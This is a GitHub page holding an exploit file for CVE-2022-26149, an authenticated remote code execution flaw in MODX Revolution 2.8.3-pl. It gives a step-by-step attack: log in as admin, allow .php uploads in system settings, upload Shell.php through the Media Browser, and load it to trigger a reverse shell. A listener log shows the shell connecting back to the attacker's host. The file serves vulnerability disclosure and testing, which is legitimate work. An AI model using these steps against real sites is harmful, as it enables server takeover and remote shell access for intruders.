sartlabs Update Exploit.txt History

1 contributor

20 lines (18 sloc) | 1.12 KB

```
1  # Exploit Title: Authenticated Remote Code Execution in MODX Revolution V2.8.3-pl
2  # Remote Code Execution in MODX Revolution V2.8.3-pl and earlier allows remote attackers to execut
3  # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.h
4  # Date: 26th Feb'2022
5  # CVE ID: CVE-2022-26149
6  # Confirmed on release 2.8.3-pl
7  # Vendor: https://modx.com/download
8
9  ################################################
10 #Step1- Login with Admin Credentials
11 #Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
12         Add the php file extension under the "Uploadable File Types" option available in "System S
13 #Step3- Now Goto Media=>Media Browser and upload the Shell.php
14 #Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:
15
16 listening on [any] 4477 ...
17 connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
18 bash: cannot set terminal process group (1445): Inappropriate ioctl for device
19 bash: no job control in this shell
20 daemon@debian:/opt/bitnami/modx$
```